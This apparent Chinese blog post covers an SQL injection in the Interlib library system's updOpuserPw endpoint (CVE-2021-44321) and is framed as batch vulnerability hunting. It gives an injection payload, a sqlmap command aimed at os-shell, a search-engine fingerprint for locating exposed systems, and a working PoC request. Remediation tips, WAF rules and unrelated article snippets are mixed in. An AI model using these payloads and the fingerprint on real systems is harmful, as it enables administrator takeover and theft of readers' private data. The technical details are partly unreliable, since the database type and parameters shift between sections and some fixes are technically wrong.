#渗透测试#批量漏洞挖掘#某图创图书馆集群管理系统updOpuserPw SQL注入(CVE-2021-44321)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
一、漏洞背景与危害
二、漏洞验证与利用场景
三、紧急修复方案
四、深度防御与监控
五、行业特殊性与扩展建议
一、漏洞背景与危害
1. 漏洞定位
- 接口功能:
updOpuserPw用于图书馆管理员密码修改操作,通常涉及用户身份校验与密码更新。- 注入点:请求参数(如用户ID、旧密码、新密码)未严格过滤,导致攻击者可构造恶意SQL语句。
2. 核心风险
- 管理员权限窃取:通过注入修改任意管理员密码(如
admin'--绕过旧密码验证)。- 数据库全面控制:若数据库权限配置不当,可能通过联合查询获取借阅记录、读者隐私(身份证号、联系方式)等敏感数据。
- 服务瘫痪风险:执行
DROP TABLE或SHUTDOWN等破坏性操作,导致图书馆借阅系统停摆。
二、漏洞验证与利用场景
1. 手工检测示例
POST /api/updOpuserPw HTTP/1.1 参数: oldPw=123' AND 1=convert(int,@@version)--&newPw=attack
- 响应特征:若返回数据库版本信息(如
Microsoft SQL Server 2019),则确认存在注入。2. 自动化工具利用
- SQLMap命令:
sqlmap -u "http://target/api/updOpuserPw" --data="oldPw=*&newPw=*" --risk=3 --level=5 --dbms=mssql- 关键Payload:利用
os-shell尝试执行系统命令(如启动远程服务)。
三、紧急修复方案
1. 参数化查询改造(优先级最高)
- Java示例(JDBC):
String sql = "UPDATE Users SET password = ? WHERE username = ? AND password = ?"; PreparedStatement stmt = conn.prepareStatement(sql); stmt.setString(1, newPassword); // 使用BCrypt加密存储 stmt.setString(2, username); stmt.setString(3, oldPassword);- 防御效果:彻底阻断注入可能性,强制参数类型校验。
2. 输入过滤强化
- 正则白名单:用户名仅允许
[a-zA-Z0-9_@.],密码字段禁止包含SQL元字符(如'";--)。- 业务逻辑加固:旧密码校验需在应用层完成(非依赖数据库对比结果)。
3. 权限最小化
- 数据库账户权限:撤销
updOpuserPw接口关联数据库账户的EXECUTE、UNION权限。- 网络隔离:限制数据库仅接受内网指定IP访问,禁用公网直连。
四、深度防御与监控
1. 日志审计与告警
- 监控关键词:记录包含
UNION SELECT、xp_cmdshell等敏感操作的请求。- ELK集成:通过Kibana仪表盘实时分析异常登录尝试(如5分钟内多次密码修改请求)。
2. WAF规则部署
规则类型 匹配内容 动作 SQL注入拦截 (?i)union.*select、sleep\(\d+\)阻断 参数格式校验 新密码长度>50或包含非ASCII字符 告警 3. 定期渗透测试
- 重点场景:模拟攻击者利用注入漏洞横向渗透至图书编目系统或读者档案库。
- 工具更新:使用2025年新版AWVS、Netsparker检测二次漏洞。
五、行业特殊性与扩展建议
1. 图书馆业务兼容性
- 读者证号安全:若系统与第三方(如校园一卡通)对接,需确保注入防护不影响加密数据同步。
- 历史数据迁移:修复时需兼容旧版本明文密码的哈希化升级(如MD5转SHA-256)。
2. 集群管理特性
- 分布式防护:若系统为多节点集群,需统一配置中心化管理SQL防火墙策略。
- 容灾方案:数据库主从切换时,确保注入防御规则同步生效。
附:时间线建议
- 24小时内:紧急上线参数化查询补丁,启用WAF临时规则。
- 1周内:完成全系统代码审计,修复同类接口(如
queryReaderInfo)。- 1月内:通过ISO 27001认证,纳入图书行业网络安全联防体系。
注:根据《2025年公共图书馆信息化安全规范》,涉及读者隐私的系统需每季度提交第三方渗透测试报告,建议与国家级漏洞响应平台(如CNNVD)建立联动机制。
漏洞描述
广州图创图书馆集群管理系统 updOpuserPw SQL注入,黑客可以利用该漏洞执行任意SQL语句,如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
漏洞复现
1、Hunter
web.title=="Interlib图书馆集群管理系统"
poc
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*1111111%20from%20dual))=%272 HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36 Accept-Charset: utf-8 Accept-Encoding: gzip, deflate Connection: close
修复建议
1、请联系厂商进行修复或升级到安全版本。 2、如非必要,禁止公网访问该系统。 3、设置白名单访问。
相关文章:
#渗透测试#批量漏洞挖掘#某图创图书馆集群管理系统updOpuserPw SQL注入(CVE-2021-44321)
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...
智能合约安全 | 合约无效化攻击
目录: 智能合约安全 合约无效化攻击 合约自毁函数 selfdestruct 攻击实现 漏洞防御 总结 智能合约安全 合约无效化攻击 合约无效化攻击类同于web安全中的逻辑漏洞中的一种 我们这里拿一个典型的例子来讲解 有这样一份智能合约, 每个人可以向其中发送1 eth 第七个…...
RabbitMQ 的介绍与使用
一. 简介 1> 什么是MQ 消息队列(Message Queue,简称MQ),从字面意思上看,本质是个队列,FIFO先入先出,只不过队列中存放的内容是message而已。 其主要用途:不同进程Process/线程T…...
【手撕算法】K-Means聚类全解析:从数学推导到图像分割实战
摘要 聚类算法是探索数据内在结构的利器!本文手撕K-Means核心公式,结合Python代码实现与图像分割案例,详解: ✅ 欧氏距离计算 ✅ 簇中心迭代更新 ✅ 肘部法则优化 目录 摘要 目录 一、算法核心思想 二、数学原理详解 2.1 …...
【SQL技术】不同数据库引擎 SQL 优化方案剖析
一、引言 在数据处理和分析的世界里,SQL 是不可或缺的工具。不同的数据库系统,如 MySQL、PostgreSQL(PG)、Doris 和 Hive,在架构和性能特点上存在差异,因此针对它们的 SQL 优化策略也各有不同。这些数据库…...
RabbitMQ系列(二)基本概念之Publisher
在 RabbitMQ 中,Publisher(发布者) 是负责向 RabbitMQ 服务器发送消息的客户端角色,通常被称为“生产者”。以下是其核心功能与工作机制的详细解析: 一、核心定义与作用 消息发送者 Publisher 将消息发送到 RabbitMQ 的…...
OAK相机的抗震性测试
在工业环境中,双目视觉相机必须具备与工作环境同等的坚固性。鉴于部分客户会将我们的相机应用于恶劣环境(例如安装在重型机械上),我们依据EN 60068-2-6:2008标准对相机进行了振动耐受性测试。 测试涉及的相机型号包括:…...
2025最新Nginx高频面试题
2025最新Nginx高频面试题 摘要:本文整理了2025年企业高频Nginx面试题,覆盖核心原理、配置优化、安全防护及云原生场景实战,助你轻松应对技术面试! 核心原理篇 1. Nginx的Master-Worker架构优势是什么? 答案…...
【Kubernetes】API server 限流 之 maxinflight.go
这个文件实现了一个基于信号量(Channel)的简单限流器。 基础知识 总共有四种channel 带缓冲的channel nonMutatingChan、mutatingChan 都是带缓冲的channel ,这类channel 的特点是: 这允许最多 mutatingLimit /nonMutatingLimit 个请求同时获取令牌并执…...
推荐算法工程师的技术图谱和学习路径
推荐算法工程师的技术图谱和学习路径可以从多个维度进行概述,可以总结如下: 一、技术图谱 推荐算法工程师需要掌握的技术栈主要分为以下几个方面: 数学基础: 微积分、线性代数、概率论与统计学是推荐算法的基础,用于理解模型的数学原理和优化算法。高等数学、最优化理论…...
Milvus高性能向量数据库与大模型结合
Milvus | 高性能向量数据库,为规模而构建Milvus 是一个为 GenAI 应用构建的开源向量数据库。使用 pip 安装,执行高速搜索,并扩展到数十亿个向量。https://milvus.io/zh Milvus 是什么? Milvus 是一种高性能、高扩展性的向量数据…...
轮式机器人在复杂地形中如何选择合适的全局路径规划算法?
已思考完成 收起 嗯,用户问的是轮式机器人在复杂地形中如何选择合适的全局路径规划算法。首先,我需要理解复杂地形可能带来的挑战,比如崎岖的路面、动态障碍物、非结构化环境等等。轮式机器人在这里的运动控制需要考虑地形通过性、稳定性&…...
Metal学习笔记九:光照基础
光和阴影是使场景流行的重要要求。通过一些着色器艺术,您可以突出重要的对象、描述天气和一天中的时间并设置场景的气氛。即使您的场景由卡通对象组成,如果您没有正确地照亮它们,场景也会变得平淡无奇。 最简单的光照方法之一是 Phong 反射模…...
【字符串】最长公共前缀 最长回文子串
文章目录 14. 最长公共前缀解题思路:模拟5. 最长回文子串解题思路一:动态规划解题思路二:中心扩散法 14. 最长公共前缀 14. 最长公共前缀 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀,返回空字符…...
Linux提权之详细总结版(完结)
这里是我写了折磨多提权的指令的总结 我这里毫无保留分享给大家哦 首先神魔是提权 我们完整的渗透测试的流程是(个人总结的) 首先提升权限是我们拿到webshell之后的事情,如何拿到webshell,怎末才能拿到webshell,朋友们等我更新,持续更新中,下一篇更新的是windows提权 好了 废…...
week 3 - More on Collections - Lecture 3
一、Motivation 1. Java支持哪种类型的一维数据结构? Java中用于在单一维度中存储数据的数据结构,如arrays or ArrayLists. 2. 如何在Java下创建一维数据结构?(1-dimensional data structure) 定义和初始化这些一…...
Pwntools 的详细介绍、安装指南、配置说明
Pwntools:Python 开源安全工具箱 一、Pwntools 简介 Pwntools 是一个由 Security researcher 开发的 高效 Python 工具库,专为密码学研究、漏洞利用、协议分析和逆向工程设计。它集成了数百个底层工具的功能,提供统一的 Python API 接口&am…...
PLC(电力载波通信)网络机制介绍
1. 概述 1.1 什么是PLC 电力载波通讯即PLC,是英文Power line Carrier的简称。 电力载波是电力系统特有的通信方式,电力载波通讯是指利用现有电力线,通过载波方式将模拟或数字信号进行高速传输的技术。最大特点是不需要重新架设网络…...
Qt监控系统远程回放/录像文件远程下载/录像文件打上水印/批量多线程极速下载
一、前言说明 在做这个功能的时候,着实费了点心思,好在之前做ffmpeg加密解密的时候,已经打通了极速加密保存文件,主要就是之前的类中新增了进度提示信号,比如当前已经处理到哪个position位置,发个信号出来…...
自学微信小程序的第八天
DAY8 1、使用动画API即可完成动画效果的制作,先通过wx.createAnimation()方法获取Animation实例,然后调用Animation实例的方法实现动画效果。 表40:wx.createAnimation()方法的常用选项 选项 类型 说明 duration number 动画持续时间,单位为毫秒,默认值为400毫秒 timing…...
CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台(Launchpad)多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显,都是Google家的办公全家桶。这些应用并不是通过独立安装的…...
深度学习习题2
1.如果增加神经网络的宽度,精确度会增加到一个特定阈值后,便开始降低。造成这一现象的可能原因是什么? A、即使增加卷积核的数量,只有少部分的核会被用作预测 B、当卷积核数量增加时,神经网络的预测能力会降低 C、当卷…...
站群服务器的应用场景都有哪些?
站群服务器主要是为了多个网站的托管和管理所设计的,可以通过集中管理和高效资源的分配,来支持多个独立的网站同时运行,让每一个网站都可以分配到独立的IP地址,避免出现IP关联的风险,用户还可以通过控制面板进行管理功…...
CSS | transition 和 transform的用处和区别
省流总结: transform用于变换/变形,transition是动画控制器 transform 用来对元素进行变形,常见的操作如下,它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...
协议转换利器,profinet转ethercat网关的两大派系,各有千秋
随着工业以太网的发展,其高效、便捷、协议开放、易于冗余等诸多优点,被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口,具有实时性、开放性,使用TCP/IP和IT标准,符合基于工业以太网的…...
QT开发技术【ffmpeg + QAudioOutput】音乐播放器
一、 介绍 使用ffmpeg 4.2.2 在数字化浪潮席卷全球的当下,音视频内容犹如璀璨繁星,点亮了人们的生活与工作。从短视频平台上令人捧腹的搞笑视频,到在线课堂中知识渊博的专家授课,再到影视平台上扣人心弦的高清大片,音…...
OCR MLLM Evaluation
为什么需要评测体系?——背景与矛盾 能干的事: 看清楚发票、身份证上的字(准确率>90%),速度飞快(眨眼间完成)。干不了的事: 碰到复杂表格(合并单元…...
Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解
文章目录 一、开启慢查询日志,定位耗时SQL1.1 查看慢查询日志是否开启1.2 临时开启慢查询日志1.3 永久开启慢查询日志1.4 分析慢查询日志 二、使用EXPLAIN分析SQL执行计划2.1 EXPLAIN的基本使用2.2 EXPLAIN分析案例2.3 根据EXPLAIN结果优化SQL 三、使用SHOW PROFILE…...
java+webstock
maven依赖 <dependency><groupId>org.java-websocket</groupId><artifactId>Java-WebSocket</artifactId><version>1.3.5</version></dependency><dependency><groupId>org.apache.tomcat.websocket</groupId&…...

